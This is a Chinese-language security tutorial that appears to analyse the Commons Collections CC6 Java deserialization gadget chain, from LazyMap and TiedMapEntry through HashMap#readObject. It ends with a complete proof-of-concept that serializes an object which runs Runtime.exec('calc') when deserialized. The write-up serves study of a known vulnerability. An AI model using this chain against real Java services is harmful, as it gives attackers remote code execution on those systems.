Java安全-CC6

环境搭建

1
2
3
4
5
6
7
8
jdk1.8u71
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

openjdk8u71_b15
https://github.com/openjdk/jdk8u/releases/tag/jdk8u71-b15
将sun导入orcale

Comoons-Collections 3.2.1依旧

危险类调用点

  • 这里依旧是 CC1 的危险点

    依旧是调用ChainedTransformerTransformer方法进而执行 Runtime.exec方法

这里,我们从危险利用点分析

一、主要逻辑

1.LazyMap#get

image-20260112223559960

这里依旧用的CC1的 transform 方法

根据逻辑,我们勘测到只有当 map 集合中不包含 key 时,我们会调用 transform 方法

1
Map lazyMap = LazyMap.decorate(map,chuanTransformer);

2.TiedMapEntry#hashCode

我们为了调用上一个提供的 get 方法,找到了这里

image-20260112224023528

当调用 hashCode 方法时,会调用类的 getValue 方法

image-20260112224127254

而这个 getValue 方法,会调用 map 集合的 get 方法

我们可以直接将 map 赋值为 LazyMap 类,进而调用其的 get 方法

1
TiedMapEntry foo = new TiedMapEntry(lazyMap, "aaa");

3.HashMap#readObject

image-20260112224629633

这里同时也是反序列化漏洞入口点

我们在反序列化时,会调用被反序列化对象的 readObject 方法,这里进而会调用 hash 方法

image-20260112224802362

而 hash 方法会调用传入值 key 的hashCode 方法

我们给一个 key 赋值为恶意类 TiedMapEntry 类

1
2
3
TiedMapEntry foo = new TiedMapEntry(lazyMap, "aaa");
HashMap obj2 = new HashMap();
obj2.put(foo, "bar");

二、额外

1.obj2.put(foo, "bar");

image-20260113174016801

运行这个方法时,会调用 hash 方法,从而会调用我们的恶意链,执行命令

所以为了在反序列化之前不调用恶意链,我们先 put 一个正常无害链,最后通过反射修改为恶意链

1
2
3
4
5
6
Transformer[] chuan0000 = new Transformer[]{new ConstantTransformer(1)};
ChainedTransformer chuanTransformer = new ChainedTransformer(chuan0000);

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chuanTransformer, chuan);

2.LazyMap#get

image-20260113174641473

反序列化时,会调用 get 方法时,我们在当初创建 map 类时,此 key 与 value 已经被加入到 map 中

image-20260113180450303

这样在反序列化的时候,便不会执行 lazyMap 的 put 中的逻辑,因为已经包含

所以我们需要删除,以便逻辑正常

1
map.remove("aaa");

3.调试的坑

在调试的时候,只有一出现断点就会执行命令,这是因为在 IDEA 进行 debug 调试的时候,为了展示对象的集合,会自动调用 toString() 方法,所以在创建 TiedMapEntry 的时候,就自动调用了 getValue() 最终将链子走完,然后弹出计算器。

image-20260113183403831

三、总结

1.链路逻辑

1
2
3
4
5
6
7
8
9
HashMap#readObject
->
TiedMapEntry#hashCode
->
TiedMapEntry#getValue
->
LazyMap#get
->
ChainedTransformer#transform

common collection

1
2
org/apache/commons/collections/keyvalue/TiedMapEntry.java
org/apache/commons/collections/map/LazyMap.java

2.最终poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Class r = Runtime.class;
Transformer chaun0 = new ConstantTransformer(r);
Transformer chuan1 = new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]});
Transformer chuan2 = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]});
Transformer chuan3= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Transformer[] chuan = {chaun0,chuan1,chuan2,chuan3,new ConstantTransformer(1)};
Transformer[] chuan0000 = new Transformer[]{new ConstantTransformer(1)};

ChainedTransformer chuanTransformer = new ChainedTransformer(chuan0000);

HashMap map = new HashMap();
Map lazyMap = LazyMap.decorate(map,chuanTransformer);
TiedMapEntry foo = new TiedMapEntry(lazyMap, "aaa");
HashMap obj2 = new HashMap();
obj2.put(foo, "bar");

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chuanTransformer, chuan);

map.remove("aaa");

serialize(obj2);
unserialize();

3.版本限制

限制类型 CC6 的情况 备注
Commons Collections 3.1 - 3.2.1 可用 黄金利用区间
Commons Collections 3.2.2+ 不可用 默认禁用反序列化,抛异常
Commons Collections 4.0 可用 需要修改包名为 commons-collections4
Commons Collections 4.1+ 不可用 彻底移除了序列化接口
JDK 8u71 之前 可用 通杀
JDK 8u71 之后 (包含 JDK 11/17) 可用 这是 CC6 相比 CC1 的核心优势
JEP 290 过滤器 不可用 如果配置了黑名单,任何链都会挂